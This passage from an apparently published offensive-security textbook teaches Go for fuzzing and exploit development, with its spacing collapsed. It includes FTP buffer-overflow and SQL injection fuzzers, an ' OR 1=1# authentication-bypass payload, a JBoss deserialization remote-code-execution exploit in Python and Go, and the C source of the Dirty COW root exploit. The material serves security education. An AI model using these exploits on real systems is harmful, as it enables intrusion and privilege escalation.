fuzzertodiscoveranapplication’ssecurityweaknesses.Then you’lllearnhowtoportexistingexploitstoGo.Finally,we’ll showyouhowtousepopulartoolstocreateGo-friendly shellcode.Bytheendofthechapter,youshouldhaveabasic understandingofhowtouseGotodiscoverflawswhilealso usingittowriteanddelivervariouspayloads. CREATINGAFUZZER Fuzzingisatechniquethatsendsextensiveamountsofdatato anapplicationinanattempttoforcetheapplicationtoproduce abnormalbehavior.Thisbehaviorcanrevealcodingerrorsor securitydeficiencies,whichyoucanlaterexploit. Fuzzinganapplicationcanalsoproduceundesirableside effects,suchasresourceexhaustion,memorycorruption,and serviceinterruption.Someofthesesideeffectsarenecessary forbughuntersandexploitdeveloperstodotheirjobsbutbad forthestabilityoftheapplication.Therefore,it’scrucialthat youalwaysperformfuzzinginacontrolledlabenvironment. Aswithmostofthetechniqueswediscussinthisbook,don’t fuzzapplicationsorsystemswithoutexplicitauthorization fromtheowner. Inthissection,you’llbuildtwofuzzers.Thefirstwill checkthecapacityofaninputinanattempttocrashaservice andidentifyabufferoverflow.Thesecondfuzzerwillreplay anHTTPrequest,cyclingthroughpotentialinputvaluesto detectSQLinjection. BufferOverflowFuzzing Bufferoverflowsoccurwhenausersubmitsmoredatainan inputthantheapplicationhasallocatedmemoryspacefor.For example,ausercouldsubmit5,000characterswhenthe applicationexpectstoreceiveonly5.Ifaprogramusesthe wrongtechniques,thiscouldallowtheusertowritethat surplusdatatopartsofmemorythataren’tintendedforthat purpose.This“overflow”corruptsthedatastoredwithin adjacentmemorylocations,allowingamalicioususerto potentiallycrashtheprogramoralteritslogicalflow. Bufferoverflowsareparticularlyimpactfulfornetwork- basedprogramsthatreceivedatafromclients.Usingbuffer overflows,aclientcandisruptserveravailabilityorpossibly achieveremotecodeexecution.It’sworthrestating:don’tfuzz systemsorapplicationsunlessyouarepermittedtodoso.In addition,makesureyoufullyunderstandtheconsequencesof crashingthesystemorservice. HowBufferOverflowFuzzingWorks Fuzzingtocreateabufferoverflowgenerallyinvolves submittingincreasinglylongerinputs,suchthateach subsequentrequestincludesaninputvaluewhoselengthisone characterlongerthanthepreviousattempt.Acontrived exampleusingtheAcharacterasinputwouldexecute accordingtothepatternshowninTable9-1. Bysendingnumerousinputstoavulnerablefunction, you’lleventuallyreachapointwherethelengthofyourinput exceedsthefunction’sdefinedbuffersize,whichwillcorrupt theprogram’scontrolelements,suchasitsreturnand instructionpointers.Atthispoint,theapplicationorsystem willcrash. Bysendingincrementallylargerrequestsforeachattempt, youcanpreciselydeterminetheexpectedinputsize,whichis importantforexploitingtheapplicationlater.Youcanthen inspectthecrashorresultingcoredumptobetterunderstand thevulnerabilityandattempttodevelopaworkingexploit.We won’tgointodebuggerusageandexploitdevelopmenthere; instead,let’sfocusonwritingthefuzzer. Table9-1:InputValuesinaBufferOverflowTest Attempt Inputvalue 1 A 2 AA 3 AAA 4 AAAA N ArepeatedNtimes Ifyou’vedoneanymanualfuzzingusingmodern, interpretedlanguages,you’veprobablyusedaconstructto createstringsofspecificlengths.Forexample,thefollowing Pythoncode,runwithintheinterpreterconsole,showshow simpleitistocreateastringof25Acharacters: >>>x="A"*25 >>>x 'AAAAAAAAAAAAAAAAAAAAAAAAA' Unfortunately,Gohasnosuchconstructtoconveniently buildstringsofarbitrarylength.You’llhavetodothattheold- fashionedway—usingaloop—whichwouldlooksomething likethis: var( nint sstring ) forn=0;n<25;n++{ s+="A" } Sure,it’salittlemoreverbosethanthePythonalternative, butnotoverwhelming. Theotherconsiderationyou’llneedtomakeisthedelivery mechanismforyourpayload.Thiswilldependonthetarget applicationorsystem.Insomeinstances,thiscouldinvolve writingafiletoadisk.Inothercases,youmightcommunicate overTCP/UDPwithanHTTP,SMTP,SNMP,FTP,Telnet,or othernetworkedservice. Inthefollowingexample,you’llperformfuzzingagainsta remoteFTPserver.Youcantweakalotofthelogicwe presentfairlyquicklytooperateagainstotherprotocols,soit shouldactasagoodbasisforyoutodevelopcustomfuzzers againstotherservices. AlthoughGo’sstandardpackagesincludesupportforsome commonprotocols,suchasHTTPandSMTP,theydon’t includesupportforclient-serverFTPinteractions.Instead,you coulduseathird-partypackagethatalreadyperformsFTP communications,soyoudon’thavetoreinventthewheeland writesomethingfromthegroundup.However,formaximum control(andtoappreciatetheprotocol),you’llinsteadbuild thebasicFTPfunctionalityusingrawTCPcommunications.If youneedarefresheronhowthisworks,refertoChapter2. BuildingTheBufferOverflowFuzzer Listing9-1showsthefuzzercode.(Allthecodelistingsatthe rootlocationof/existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.)We’vehardcodedsome values,suchasthetargetIPandport,aswellasthemaximum lengthofyourinput.ThecodeitselffuzzestheUSERproperty. Sincethispropertyoccursbeforeauserisauthenticated,it representsacommonlytestablepointontheattacksurface. Youcouldcertainlyextendthiscodetotestotherpre- authenticationcommands,suchasPASS,butkeepinmindthat ifyousupplyalegitimateusernameandthenkeepsubmitting inputsforPASS,youmightgetlockedouteventually. funcmain(){ ❶fori:=0;i<2500;i++{ ❷conn,err:=net.Dial("tcp","10.0.1.20:21") iferr!=nil{ ❸log.Fatalf("[!]Erroratoffset%d:%s\n",i,err) } ❹bufio.NewReader(conn).ReadString('\n') user:="" ❺forn:=0;n<=i;n++{ user+="A" } raw:="USER%s\n" ❻fmt.Fprintf(conn,raw,user) bufio.NewReader(conn).ReadString('\n') raw="PASSpassword\n" fmt.Fprint(conn,raw) bufio.NewReader(conn).ReadString('\n') iferr:=conn.Close()❼;err!=nil{ ❽log.Println("[!]Erroratoffset%d:%s\n",i,err) } } } Listing9-1:Abufferoverflowfuzzer(/ch-9/ftp-fuzz/main.go) Thecodeisessentiallyonelargeloop,beginningat❶. Eachtimetheprogramloops,itaddsanothercharactertothe usernameyou’llsupply.Inthiscase,you’llsendusernames from1to2,500charactersinlength. Foreachiterationoftheloop,youestablishaTCP connectiontothedestinationFTPserver❷.Anytimeyou interactwiththeFTPservice,whetherit’stheinitial connectionorthesubsequentcommands,youexplicitlyread theresponsefromtheserverasasingleline❹.Thisallows thecodetoblockwhilewaitingfortheTCPresponsessoyou don’tsendyourcommandsprematurely,beforepacketshave madetheirroundtrip.Youthenuseanotherforlooptobuild thestringofAsinthemannerweshowedpreviously❺.You usetheindexioftheouterlooptobuildthestringlength dependentonthecurrentiterationoftheloop,sothatit increasesbyoneeachtimetheprogramstartsover.Youuse thisvaluetowritetheUSERcommandbyusingfmt.Fprintf(conn, raw,user)❻. AlthoughyoucouldendyourinteractionwiththeFTP serveratthispoint(afterall,you’refuzzingonlytheUSER command),youproceedtosendthePASScommandto completethetransaction.Lastly,youcloseyourconnection cleanly❼. It’sworthnotingthattherearetwopoints,❸and❽, whereabnormalconnectivitybehaviorcouldindicateaservice disruption,implyingapotentialbufferoverflow:whenthe connectionisfirstestablishedandwhentheconnectioncloses. Ifyoucan’testablishaconnectionthenexttimetheprogram loops,it’slikelythatsomethingwentwrong.You’llthenwant tocheckwhethertheservicecrashedasaresultofabuffer overflow. Ifyoucan’tcloseaconnectionafteryou’veestablishedit, thismayindicatetheabnormalbehavioroftheremoteFTP serviceabruptlydisconnecting,butitprobablyisn’tcausedby abufferoverflow.Theanomalousconditionislogged,butthe programwillcontinue. Apacketcapture,illustratedinFigure9-1,showsthateach subsequentUSERcommandgrowsinlength,confirmingthat yourcodeworksasdesired. Figure9-1:AWiresharkcapturedepictingtheUSERcommandgrowingbyone lettereachtimetheprogramloops Youcouldimprovethecodeinseveralwaysforflexibility andconvenience.Forexample,you’dprobablywantto removethehardcodedIP,port,anditerationvalues,and insteadincludethemviacommandlineargumentsora configurationfile.Weinviteyoutoperformtheseusability updatesasanexercise.Furthermore,youcouldextendthe codesoitfuzzescommandsafterauthentication.Specifically, youcouldupdatethetooltofuzztheCWD/CDcommand. Varioustoolshavehistoricallybeensusceptibletobuffer overflowsrelatedtothehandlingofthiscommand,makingita goodtargetforfuzzing. SQLInjectionFuzzing SQLInjectionFuzzing Inthissection,you’llexploreSQLinjectionfuzzing.Instead ofchangingthelengthofeachinput,thisvariationonthe attackcyclesthroughadefinedlistofinputstoattemptto causeSQLinjection.Inotherwords,you’llfuzztheusername parameterofawebsiteloginformbyattemptingalistof inputsconsistingofvariousSQLmeta-charactersandsyntax that,ifhandledinsecurelybythebackenddatabase,willyield abnormalbehaviorbytheapplication. Tokeepthingssimple,you’llbeprobingonlyforerror- basedSQLinjection,ignoringotherforms,suchasboolean-, time-,andunion-based.Thatmeansthatinsteadoflookingfor subtledifferencesinresponsecontentorresponsetime,you’ll lookforanerrormessageintheHTTPresponsetoindicatea SQLinjection.Thisimpliesthatyouexpectthewebserverto remainoperational,soyoucannolongerrelyonconnection establishmentasalitmustestforwhetheryou’vesucceededin creatingabnormalbehavior.Instead,you’llneedtosearchthe responsebodyforadatabaseerrormessage. HowSQLInjectionWorks Atitscore,SQLinjectionallowsanattackertoinsertSQL meta-charactersintoastatement,potentiallymanipulatingthe querytoproduceunintendedbehaviororreturnrestricted, sensitivedata.Theproblemoccurswhendevelopersblindly concatenateuntrusteduserdatatotheirSQLqueries,asinthe followingpseudocode: username=HTTP_GET["username"] query="SELECT*FROMusersWHEREuser='"+username+"'" result=db.execute(query) if(len(result)>0){ returnAuthenticationSuccess() returnAuthenticationSuccess() }else{ returnAuthenticationFailed() } Inourpseudocode,theusernamevariableisreaddirectly fromanHTTPparameter.Thevalueoftheusernamevariable isn’tsanitizedorvalidated.Youthenbuildaquerystringby usingthevalue,concatenatingitontotheSQLquerysyntax directly.Theprogramexecutesthequeryagainstthedatabase andinspectstheresult.Ifitfindsatleastonematchingrecord, you’dconsidertheauthenticationsuccessful.Thecodeshould behaveappropriatelysolongasthesuppliedusername consistsofalphanumericandacertainsubsetofspecial characters.Forexample,supplyingausernameofaliceresults inthefollowingsafequery: SELECT*FROMusersWHEREuser='alice' However,whathappenswhentheusersuppliesausername containinganapostrophe?Supplyingausernameofo'doyle producesthefollowingquery: SELECT*FROMusersWHEREuser='o'doyle' Theproblemhereisthatthebackenddatabasenowseesan unbalancednumberofsinglequotationmarks.Noticethe emphasizedportionoftheprecedingquery,doyle;thebackend databaseinterpretsthisasSQLsyntax,sinceit’soutsidethe enclosingquotes.This,ofcourse,isinvalidSQLsyntax,and thebackenddatabasewon’tbeabletoprocessit.Forerror- basedSQLinjection,thisproducesanerrormessageinthe HTTPresponse.Themessageitselfwillvarybasedonthe database.InthecaseofMySQL,you’llreceiveanerror similartothefollowing,possiblywithadditionaldetails disclosingthequeryitself: YouhaveanerrorinyourSQLsyntax Althoughwewon’tgotoodeeplyintoexploitation,you couldnowmanipulatetheusernameinputtoproduceavalid SQLquerythatwouldbypasstheauthenticationinour example.Theusernameinput'OR1=1#doesjustthatwhen placedinthefollowingSQLstatement: SELECT*FROMusersWHEREuser=''OR1=1#' ThisinputappendsalogicalORontotheendofthequery. ThisORstatementalwaysevaluatestotrue,because1always equals1.YouthenuseaMySQLcomment(#)toforcethe backenddatabasetoignoretheremainderofthequery.This resultsinavalidSQLstatementthat,assumingoneormore rowsexistinthedatabase,youcanusetobypass authenticationintheprecedingpseudocodeexample. BuildingtheSQLInjectionFuzzer Theintentofyourfuzzerwon’tbetogenerateasyntactically validSQLstatement.Quitetheopposite.You’llwanttobreak thequerysuchthatthemalformedsyntaxyieldsanerrorby thebackenddatabase,astheO’Doyleexamplejust demonstrated.Forthis,you’llsendvariousSQLmeta- charactersasinput. Thefirstorderofbusinessistoanalyzethetargetrequest. ByinspectingtheHTMLsourcecode,usinganintercepting proxy,orcapturingnetworkpacketswithWireshark,you determinethattheHTTPrequestsubmittedfortheloginportal resemblesthefollowing: POST/WebApplication/login.jspHTTP/1.1 Host:10.0.1.20:8080 User-Agent:Mozilla/5.0(X11;Ubuntu;Linuxx86_64;rv:54.0)Gecko/20100101 Firefox/54.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 Accept-Encoding:gzip,deflate Content-Type:application/x-www-form-urlencoded Content-Length:35 Referer:http://10.0.1.20:8080/WebApplication/ Cookie:JSESSIONID=2D55A87C06A11AAE732A601FCB9DE571 Connection:keep-alive Upgrade-Insecure-Requests:1 username=someuser&password=somepass TheloginformsendsaPOSTrequestto http://10.0.1.20:8080/WebApplication/login.jsp.Therearetwo formparameters:usernameandpassword.Forthisexample,we’ll limitthefuzzingtotheusernamefieldforbrevity.Thecodeitself isfairlycompact,consistingofafewloops,someregular expressions,andthecreationofanHTTPrequest.It’sshown inListing9-2. funcmain(){ ❶payloads:=[]string{ "baseline", ")", "(", "\"", "'", } ❷sqlErrors:=[]string{ "SQL", "MySQL", "ORA-", "syntax", } errRegexes:=[]*regexp.Regexp{} for_,e:=rangesqlErrors{ ❸re:=regexp.MustCompile(fmt.Sprintf(".*%s.*",e)) errRegexes=append(errRegexes,re) } ❹for_,payload:=rangepayloads{ client:=new(http.Client) ❺body:=[]byte(fmt.Sprintf("username=%s&password=p",payload)) ❻req,err:=http.NewRequest( "POST", "http://10.0.1.20:8080/WebApplication/login.jsp", bytes.NewReader(body), ) iferr!=nil{ log.Fatalf("[!]Unabletogeneraterequest:%s\n",err) } req.Header.Add("Content-Type","application/x-www-form-urlencoded") resp,err:=client.Do(req) iferr!=nil{ log.Fatalf("[!]Unabletoprocessresponse:%s\n",err) } ❼body,err=ioutil.ReadAll(resp.Body) iferr!=nil{ log.Fatalf("[!]Unabletoreadresponsebody:%s\n",err) } resp.Body.Close() ❽foridx,re:=rangeerrRegexes{ ❾ifre.MatchString(string(body)){ fmt.Printf( "[+]SQLErrorfound('%s')forpayload:%s\n", sqlErrors[idx], payload, ) break } } } } Listing9-2:ASQLinjectionfuzzer(/ch-9/http_fuzz/main.go) Thecodebeginsbydefiningasliceofpayloadsyouwant toattempt❶.Thisisyourfuzzinglistthatyou’llsupplylater asthevalueoftheusernamerequestparameter.Inthesamevein, youdefineasliceofstringsthatrepresentkeywordswithinan SQLerrormessage❷.Thesewillbethevaluesyou’llsearch forintheHTTPresponsebody.Thepresenceofanyofthese valuesisastrongindicatorthatanSQLerrormessageis present.Youcouldexpandonbothoftheselists,butthey’re adequatedatasetsforthisexample. Next,youperformsomepreprocessingwork.Foreachof theerrorkeywordsyouwishtosearchfor,youbuildand compilearegularexpression❸.Youdothisworkoutside yourmainHTTPlogicsoyoudon’thavetocreateand compiletheseregularexpressionsmultipletimes,oncefor eachpayload.Aminoroptimization,nodoubt,butgood practicenonetheless.You’llusethesecompiledregular expressionstopopulateaseparatesliceforuselater. Nextcomesthecorelogicofthefuzzer.Youloopthrough eachofthepayloads❹,usingeachtobuildanappropriate HTTPrequestbodywhoseusernamevalueisyourcurrent payload❺.YouusetheresultingvaluetobuildanHTTP POSTrequest❻,targetingyourloginform.Youthensetthe Content-Typeheaderandsendtherequestbycallingclient.Do(req). Noticethatyousendtherequestbyusingthelong-form processofcreatingaclientandanindividualrequestandthen callingclient.Do().YoucertainlycouldhaveusedGo’s http.PostForm()functiontoachievethesamebehaviormore concisely.However,themoreverbosetechniquegivesyou moregranularcontroloverHTTPheadervalues.Althoughin thisexampleyou’resettingonlytheContent-Typeheader,it’snot uncommontosetadditionalheadervalueswhenmaking HTTPrequests(suchasUser-Agent,Cookie,andothers).You can’tdothiswithhttp.PostForm(),sogoingthelongroutewill makeiteasiertoaddanynecessaryHTTPheadersinthe future,particularlyifyou’reeverinterestedinfuzzingthe headersthemselves. Next,youreadtheHTTPresponsebodybyusing ioutil.ReadAll()❼.Nowthatyouhavethebody,youloopthrough allofyourprecompiledregularexpressions❽,testingthe responsebodyforthepresenceofyourSQLerrorkeywords ❾.Ifyougetamatch,youprobablyhaveaSQLinjection errormessage.Theprogramwilllogdetailsofthepayloadand errortothescreenandmoveontothenextiterationofthe loop. Runyourcodetoconfirmthatitsuccessfullyidentifiesa SQLinjectionflawinavulnerableloginform.Ifyousupply theusernamevaluewithasinglequotationmark,you’llgetthe errorindicatorSQL,asshownhere: $gorunmain.go [+]SQLErrorfound('SQL')forpayload:' Weencourageyoutotrythefollowingexercisestohelp youbetterunderstandthecode,appreciatethenuancesof HTTPcommunications,andimproveyourabilitytodetect SQLinjection: 1. Updatethecodetotestfortime-basedSQLinjection.Todothis,you’llhaveto sendvariouspayloadsthatintroduceatimedelaywhenthebackendquery executes.You’llneedtomeasuretheround-triptimeandcompareitagainsta baselinerequesttodeducewhetherSQLinjectionispresent. 2. Updatethecodetotestforboolean-basedblindSQLinjection.Althoughyoucan usedifferentindicatorsforthis,asimplewayistocomparetheHTTPresponse codeagainstabaselineresponse.Adeviationfromthebaselineresponsecode, particularlyreceivingaresponsecodeof500(internalservererror),maybe indicativeofSQLinjection. 3. RatherthanrelyingonGo’snet.httppackagetofacilitatecommunications,try usingthenetpackagetodialarawTCPconnection.Whenusingthenet package,you’llneedtobeawareoftheContent-LengthHTTPheader,which representsthelengthofthemessagebody.You’llneedtocalculatethislength correctlyforeachrequestbecausethebodylengthmaychange.Ifyouusean invalidlengthvalue,theserverwilllikelyrejecttherequest. Inthenextsection,we’llshowyouhowtoportexploitsto Gofromotherlanguages,suchasPythonorC. PORTINGEXPLOITSTOGO Forvariousreasons,youmaywanttoportanexistingexploit toGo.Perhapstheexistingexploitcodeisbroken,incomplete, orincompatiblewiththesystemorversionyouwishtotarget. Althoughyoucouldcertainlyextendorupdatethebrokenor incompletecodeusingthesamelanguagewithwhichitwas created,Gogivesyoutheluxuryofeasycross-compilation, consistentsyntaxandindentationrules,andapowerful standardlibrary.Allofthiswillmakeyourexploitcode arguablymoreportableandreadablewithoutcompromisingon features. Likelythemostchallengingtaskwhenportinganexisting exploitisdeterminingtheequivalentGolibrariesandfunction callstoachievethesameleveloffunctionality.Forexample, addressingendianness,encoding,andencryptionequivalents maytakeabitofresearch,particularlyforthosewhoaren’t wellversedinGo.Fortunately,we’veaddressedthe complexityofnetwork-basedcommunicationsinprevious chapters.Theimplementationsandnuancesofthisshould, hopefully,befamiliar. You’llfindcountlesswaystouseGo’sstandardpackages forexploitdevelopmentorporting.Whileit’sunrealisticfor ustocomprehensivelycoverthesepackagesandusecasesina singlechapter,weencourageyoutoexploreGo’sofficial documentationathttps://golang.org/pkg/.Thedocumentation isextensive,withanabundanceofgoodexamplestohelpyou understandfunctionandpackageusage.Herearejustafewof thepackagesthatwilllikelybeofgreatestinteresttoyouwhen workingwithexploitation: bytesProvideslow-levelbytemanipulation cryptoImplementsvarioussymmetricandasymmetric ciphersandmessageauthentication debugInspectsvariousfiletypemetadataandcontents encodingEncodesanddecodesdatabyusingvarious commonformssuchasbinary,Hex,Base64,andmore ioandbufioReadsandwritesdatafromandtovarious commoninterfacetypesincludingthefilesystem,standard output,networkconnections,andmore netFacilitatesclient-serverinteractionbyusingvarious protocolssuchasHTTPandSMTP osExecutesandinteractswiththelocaloperatingsystem syscallExposesaninterfaceformakinglow-levelsystem calls unicodeEncodesanddecodesdatabyusingUTF-16orUTF- 8 unsafeUsefulforavoidingGo’stypesafetycheckswhen interactingwiththeoperatingsystem Admittedly,someofthesepackageswillprovetobemore usefulinlaterchapters,particularlywhenwediscusslow-level Windowsinteractions,butwe’veincludedthislistforyour awareness.Ratherthantryingtocoverthesepackagesin detail,we’llshowyouhowtoportanexistingexploitbyusing someofthesepackages. PortinganExploitfromPython Inthisfirstexample,you’llportanexploitoftheJava deserializationvulnerabilityreleasedin2015.The vulnerability,categorizedunderseveralCVEs,affectsthe deserializationofJavaobjectsincommonapplications, servers,andlibraries. Thisvulnerabilityisintroducedbya deserializationlibrarythatdoesn’tvalidateinputpriorto server-sideexecution(acommoncauseofvulnerabilities). We’llnarrowourfocustoexploitingJBoss,apopularJava EnterpriseEditionapplicationserver.At https://github.com/roo7break/serialator/blob/master/serialator .py,you’llfindaPythonscriptthatcontainslogictoexploit thevulnerabilityinmultipleapplications.Listing9-3provides thelogicyou’llreplicate. defjboss_attack(HOST,PORT,SSL_On,_cmd): 1 #Thebelowcodeisbasedonthejboss_java_serialize.naslscriptwithinNessus """ ThisfunctionsetsuptheattackpayloadforJBoss """ body_serObj=hex2raw3("ACED000573720032737--SNIPPEDFOR BREVITY--017400")❶ cleng=len(_cmd) body_serObj+=chr(cleng)+_cmd❷ body_serObj+=hex2raw3("740004657865637571--SNIPPEDFORBREVITY- -7E003A")❸ ifSSL_On:❹ webservice=httplib2.Http(disable_ssl_certificate_validation=True) URL_ADDR="%s://%s:%s"%('https',HOST,PORT) else: webservice=httplib2.Http() URL_ADDR="%s://%s:%s"%('http',HOST,PORT) headers={"User-Agent":"JBoss_RCE_POC",❺ "Content-type":"application/x-java-serialized-object--SNIPPEDFOR BREVITY--", "Content-length":"%d"%len(body_serObj) } resp,content=webservice.request❻( URL_ADDR+"/invoker/JMXInvokerServlet", "POST", body=body_serObj, headers=headers) #printprovidedresponse. print("[i]Responsereceivedfromtarget:%s"%resp) Listing9-3:ThePythonserializationexploitcode Let’stakealookatwhatyou’reworkingwithhere.The functionreceivesahost,port,SSLindicator,andoperating systemcommandasparameters.Tobuildtheproperrequest, thefunctionhastocreateapayloadthatrepresentsaserialized Javaobject.Thisscriptstartsbyhardcodingaseriesofbytes ontoavariablenamedbody_serObj❶.Thesebyteshavebeen snippedforbrevity,butnoticetheyarerepresentedinthecode asastringvalue.Thisisahexadecimalstring,whichyou’ll needtoconverttoabytearraysothattwocharactersofthe stringbecomeasinglebyterepresentation.Forexample, you’llneedtoconvertACtothehexadecimalbyte\xAC.To accomplishthisconversion,theexploitcodecallsafunction namedhex2raw3.Detailsofthisfunction’sunderlying implementationareinconsequential,solongasyouunderstand what’shappeningtothehexadecimalstring. Next,thescriptcalculatesthelengthoftheoperating systemcommand,andthenappendsthelengthandcommand tothebody_serObjvariable❷.Thescriptcompletesthe constructionofthepayloadbyappendingadditionaldatathat representstheremainderofyourJavaserializedobjectina formatthatJBosscanprocess❸.Oncethepayloadis constructed,thescriptbuildstheURLandsetsupSSLto ignoreinvalidcertificates,ifnecessary❹.Itthensetsthe requiredContent-TypeandContent-LengthHTTPheaders❺and sendsthemaliciousrequesttothetargetserver❻. Mostofwhat’spresentedinthisscriptshouldn’tbenewto you,aswe’vecoveredthemajorityofitinpreviouschapters. It’snowjustamatterofmakingtheequivalentfunctioncalls inaGofriendlymanner.Listing9-4showstheGoversionof theexploit. funcjboss(hoststring,sslbool,cmdstring)(int,error){ serializedObject,err:=hex.DecodeString("ACED0005737--SNIPPEDFOR BREVITY--017400")❶ iferr!=nil{ return0,err } serializedObject=append(serializedObject,byte(len(cmd))) serializedObject=append(serializedObject,[]byte(cmd)...)❷ afterBuf,err:=hex.DecodeString("740004657865637571--SNIPPEDFOR BREVITY--7E003A")❸ iferr!=nil{ return0,err } serializedObject=append(serializedObject,afterBuf...) varclient*http.Client varurlstring ifssl{❹ client=&http.Client{ Transport:&http.Transport{ TLSClientConfig:&tls.Config{ InsecureSkipVerify:true, }, }, } url=fmt.Sprintf("https://%s/invoker/JMXInvokerServlet",host) }else{ client=&http.Client{} url=fmt.Sprintf("http://%s/invoker/JMXInvokerServlet",host) } req,err:=http.NewRequest("POST",url,bytes.NewReader(serializedObject)) iferr!=nil{ return0,err } req.Header.Set(❺ "User-Agent", "Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;AS;rv:11.0)like Gecko") req.Header.Set( "Content-Type", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue") resp,err:=client.Do(req)❻ iferr!=nil{ return0,err } returnresp.StatusCode,nil } Listing9-4:TheGoequivalentoftheoriginalPythonserializationexploit(/ch- 9/jboss/main.go) Thecodeisnearlyaline-by-linereproductionofthe Pythonversion.Forthisreason,we’vesettheannotationsto alignwiththeirPythoncounterparts,soyou’llbeableto followthechangeswe’vemade. First,youconstructyourpayloadbydefiningyour serializedJavaobjectbyteslice❶,hardcodingtheportion beforeyouroperatingsystemcommand.UnlikethePython version,whichreliedonuser-definedlogictoconvertyour hexadecimalstringtoabytearray,theGoversionusesthe hex.DecodeString()fromtheencoding/hexpackage.Next,you determinethelengthofyouroperatingsystemcommand,and thenappenditandthecommanditselftoyourpayload❷. Youcompletetheconstructionofyourpayloadbydecoding yourhardcodedhexadecimaltrailerstringontoyourexisting payload❸.Thecodeforthisisslightlymoreverbosethanthe Pythonversionbecauseweintentionallyaddedinadditional errorhandling,butit’salsoabletouseGo’sstandardencoding packagetoeasilydecodeyourhexadecimalstring. YouproceedtoinitializeyourHTTPclient❹,configuring itforSSLcommunicationsifrequested,andthenbuilda POSTrequest.Priortosendingtherequest,yousetyour necessaryHTTPheaders❺sothattheJBossserverinterprets thecontenttypeappropriately.Noticethatyoudon’texplicitly settheContent-LengthHTTPheader.That’sbecauseGo’shttp packagedoesthatforyouautomatically.Finally,yousend yourmaliciousrequestbycallingclient.Do(req)❻. Forthemostpart,thiscodemakesuseofwhatyou’ve alreadylearned.Thecodeintroducessmallmodificationssuch asconfiguringSSLtoignoreinvalidcertificates❹andadding specificHTTPheaders❺.Perhapstheonenovelelementin ourcodeistheuseofhex.DecodeString(),whichisaGocore functionthattranslatesahexadecimalstringtoitsequivalent byterepresentation.You’dhavetodothismanuallyinPython. Table9-2showssomeadditional,commonlyencountered PythonfunctionsorconstructswiththeirGoequivalents. Thisisnotacomprehensivelistoffunctionalmappings. Toomanyvariationsandedgecasesexisttocoverallthe possiblefunctionsrequiredforportingexploits.We’rehopeful thatthiswillhelpyoutranslateatleastsomeofthemost commonPythonfunctionstoGo. Table9-2:CommonPythonFunctionsandTheirGoEquivalents Python Go Notes hex(x) fmt.Sprintf("%#x", x) Convertsaninteger,x,toa lowercasehexadecimalstring, prefixedwith"0x". ord(c) rune(c) Usedtoretrievetheinteger (int32)valueofasingle character.Worksforstandard 8-bitstringsormultibyte Unicode.Notethatruneisa built-intypeinGoandmakes workingwithASCIIand Unicodedatafairlysimple. chr(i)andunichr(i) fmt.Sprintf("%+q", TheinverseofordinPython, rune(i)) chrandunichrreturnastring oflength1fortheinteger input.InGo,youusetherune typeandcanretrieveitasa stringbyusingthe%+q formatsequence. struct.pack(fmt,v1, v2,...) binary.Write(...) Createsabinary representationofthedata, formattedappropriatelyfor typeandendianness. struct.unpack(fmt, string) binary.Read(...) Theinverseofstruct.packand binary.Write.Reads structuredbinarydataintoa specifiedformatandtype. PortinganExploitfromC Let’sstepawayfromPythonandfocusonC.Cisarguablya lessreadablelanguagethanPython,yetCsharesmore similaritieswithGothanPythondoes.Thismakesporting exploitsfromCeasierthanyoumightthink.Todemonstrate, we’llbeportingalocalprivilegeescalationexploitforLinux. Thevulnerability,dubbedDirtyCOW,pertainstoarace conditionwithintheLinuxkernel’smemorysubsystem.This flawaffectedmost,ifnotall,commonLinuxandAndroid distributionsatthetimeofdisclosure.Thevulnerabilityhas sincebeenpatched,soyou’llneedtotakesomespecific measurestoreproducetheexamplesthatfollow.Specifically, you’llneedtoconfigureaLinuxsystemwithavulnerable kernelversion.Settingthisupisbeyondthescopeofthe chapter;however,forreference,weusea64-bitUbuntu14.04 LTSdistributionwithkernelversion3.13.1. Severalvariationsoftheexploitarepubliclyavailable.You canfindtheoneweintendtoreplicateathttps://www.exploit- db.com/exploits/40616/.Listing9-5showstheoriginalexploit code,slightlymodifiedforreadability,initsentirety. #include<stdio.h> #include<stdlib.h> #include<sys/mman.h> #include<fcntl.h> #include<pthread.h> #include<string.h> #include<unistd.h> void*map; intf; intstop=0; structstatst; char*name; pthread_tpth1,pth2,pth3; //changeifnopermissionstoread charsuid_binary[]="/usr/bin/passwd"; unsignedcharsc[]={ 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00, --snip-- 0x68,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05 }; unsignedintsc_len=177; void*madviseThread(void*arg) { char*str; str=(char*)arg; inti,c=0; for(i=0;i<1000000&&!stop;i++){ c+=madvise(map,100,MADV_DONTNEED); } printf("threadstopped\n"); } void*procselfmemThread(void*arg) { char*str; str=(char*)arg; intf=open("/proc/self/mem",O_RDWR); inti,c=0; for(i=0;i<1000000&&!stop;i++){ lseek(f,map,SEEK_SET); c+=write(f,str,sc_len); } printf("threadstopped\n"); } void*waitForWrite(void*arg){ charbuf[sc_len]; for(;;){ FILE*fp=fopen(suid_binary,"rb"); fread(buf,sc_len,1,fp); if(memcmp(buf,sc,sc_len)==0){ printf("%sisoverwritten\n",suid_binary); break; } fclose(fp); sleep(1); } stop=1; printf("Poppingrootshell.\n"); printf("Don'tforgettorestore/tmp/bak\n"); system(suid_binary); } intmain(intargc,char*argv[]){ char*backup; printf("DirtyCowrootprivilegeescalation\n"); printf("Backingup%s..to/tmp/bak\n",suid_binary); asprintf(&backup,"cp%s/tmp/bak",suid_binary); system(backup); f=open(suid_binary,O_RDONLY); fstat(f,&st); printf("Sizeofbinary:%d\n",st.st_size); charpayload[st.st_size]; memset(payload,0x90,st.st_size); memcpy(payload,sc,sc_len+1); map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("Racing,thismaytakeawhile..\n"); pthread_create(&pth1,NULL,&madviseThread,suid_binary); pthread_create(&pth2,NULL,&procselfmemThread,payload); pthread_create(&pth3,NULL,&waitForWrite,NULL); pthread_join(pth3,NULL); return0; } Listing9-5:TheDirtyCOWprivilegeescalationexploitwrittenintheClanguage RatherthanexplainingthedetailsoftheCcode’slogic, let’slookatitgenerally,andthenbreakitintochunksto compareitlinebylinewiththeGoversion. Theexploitdefinessomemaliciousshellcode,in ExecutableandLinkableFormat(ELF),thatgeneratesaLinux shell.Itexecutesthecodeasaprivilegeduserbycreating multiplethreadsthatcallvarioussystemfunctionstowriteour shellcodetomemorylocations.Eventually,theshellcode 